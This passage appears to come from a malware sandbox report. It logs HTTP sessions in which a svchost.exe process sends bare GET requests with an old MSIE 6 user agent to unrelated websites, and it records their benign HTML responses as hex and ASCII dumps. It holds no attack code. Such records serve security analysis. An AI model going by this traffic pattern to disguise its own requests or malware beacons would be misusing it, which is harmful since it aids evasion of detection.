2d 2e 37 33 2c 32 2e 30 Data Ascii: 71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.69,141.26a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.47,134.78a1.62,1.62,0,0,1-.73,2.0
2023-05-31 12:51:55 UTC	2674	IN	Data Raw: 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 32 38 2c 31 37 2e 34 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 30 36 2c 31 31 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 Data Ascii: 2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.28,17.43a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.06,11a1.62,1.62,0,0,1
2023-05-31 12:51:55 UTC	2690	IN	Data Raw: 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 63 61 73 65 2f 77 6f 72 6b 73 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 68 74 6d 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6e 6e 65 72 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 69 6d 61 67 65 73 2f 74 6f 70 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6d 61 67 65 36 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 63 6f 6e 74 65 6e 74 22 3e e9 9b 86 e5 90 88 e4 bd 8f e5 ae 85 3c 62 72 3e e6 b6 88 e9 98 b2 e8 a8 ad e5 82 99 e7 82 b9 Data Ascii: 4"> <a href="case/works/maintenance.html"> <div class="top-performance-inner"><img src="./images/top/performance-image6.png" alt=""> <p class="top-performance-content"><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	51897	75.2.95.235	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: ldh.la.gov
2023-05-31 12:51:51 UTC	76	IN	HTTP/1.1 406 Not Acceptable Date: Wed, 31 May 2023 12:51:51 GMT Content-Type: text/html Content-Length: 1346 Connection: close Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET
2023-05-31 12:51:51 UTC	76	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 36 20 2d 20 43 6c 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>406 - Cli

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	58441	172.67.164.178	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	34	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co
2023-05-31 12:51:53 UTC	129	IN	HTTP/1.1 200 OK Date: Wed, 31 May 2023 12:51:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Set-Cookie: d55e479f054c94814cbc10d217aaa990=d4f211e639d02635126660b33c53cbbe; path=/; HttpOnly Last-Modified: Wed, 31 May 2023 12:51:53 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K6eskj13jiyTjknwGxsaALf1g%2FQ6XPcMRvVfTyCb6oXOxgNed6ju5mK4mVZwIYiVOMuXKfQ%2BNMdOlCDeSGwaa3ZYFmcRe88nlkgRAVKSB63FqXerhprRFgv%2FMiK1aXbIqPL%2F5xNYeKA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7cff59c709fa046e-FRA alt-svc: h3=":443"; ma=86400
2023-05-31 12:51:53 UTC	130	IN	Data Raw: 37 63 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7c4e<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-05-31 12:51:53 UTC	130	IN	Data Raw: 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 73 74 79 6c 65 73 2f 72 6f 6b 62 6f 78 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 6f 64 75 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f Data Ascii: okbox/assets/styles/rokbox.css" rel="stylesheet" /><link href="/modules/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/engines/
2023-05-31 12:51:53 UTC	131	IN	Data Raw: 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f Data Ascii: 989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/
2023-05-31 12:51:53 UTC	133	IN	Data Raw: 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 Data Ascii: min.js"></script> <link rel="stylesheet" href="/media/gantry5/engines/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link
2023-05-31 12:51:53 UTC	134	IN	Data Raw: 6e 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 Data Ascii: ng" alt="Clinica San Luis" /></a></div></div><div class="g-block size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item
2023-05-31 12:51:53 UTC	135	IN	Data Raw: 6e 75 70 61 72 65 6e 74 3e 3c 73 70 61 6e 3e 42 61 63 6b 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 Data Ascii: nuparent><span>Back</span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"><span class="g-menu-item-content"><span class="g-me
2023-05-31 12:51:53 UTC	137	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 70 65 63 69 61 6c 69 64 61 64 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d Data Ascii: menu-item-title">Especialidades</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent> <span class="g-
2023-05-31 12:51:53 UTC	138	IN	Data Raw: 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 Data Ascii: ><span class="g-menu-item-content"><span class="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.php/nuestra-clini
2023-05-31 12:51:53 UTC	139	IN	Data Raw: 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f 70 64 6f 77 6e 2d 72 69 67 68 74 22 3e 0a 3c 6c 69 20 63 Data Ascii: -clinica/nuestros-pacientes"><span class="g-menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent></span> </a><ul class="g-dropdown g-inactive g-fade g-dropdown-right"><li c
2023-05-31 12:51:53 UTC	141	IN	Data Raw: 2d 69 74 65 6d 2d 33 39 36 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 6f 6d 6f 63 69 c3 b3 6e 20 70 61 72 61 20 6c 61 20 64 6f 6e 61 63 Data Ascii: -item-396 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y promocin para la donac
2023-05-31 12:51:53 UTC	142	IN	Data Raw: 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 49 6e 64 69 63 61 64 6f 72 65 73 3c 2f 73 70 61 6e 3e 0a 3c Data Ascii: /span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title">Indicadores</span><
2023-05-31 12:51:53 UTC	143	IN	Data Raw: 6f 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 44 69 72 65 63 74 6f 72 69 6f 3c 2f 73 70 61 6e 3e Data Ascii: os</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-item-title">Directorio</span>
2023-05-31 12:51:53 UTC	145	IN	Data Raw: 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d Data Ascii: omponent g-menu-item-385 "><a class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></li></ul></li><li class="g-
2023-05-31 12:51:53 UTC	146	IN	Data Raw: 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 73 6b 69 6e 33 37 39 7b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 Data Ascii: ><div class="moduletable "><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafancybox-skin379{background: rgba(255
2023-05-31 12:51:53 UTC	147	IN	Data Raw: 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 6c 3a 20 7b 0d 0a 09 09 09 09 6f 76 65 72 6c 61 79 20 20 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 Data Ascii: closeEffect: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tpl: {overlay : '<div class="g
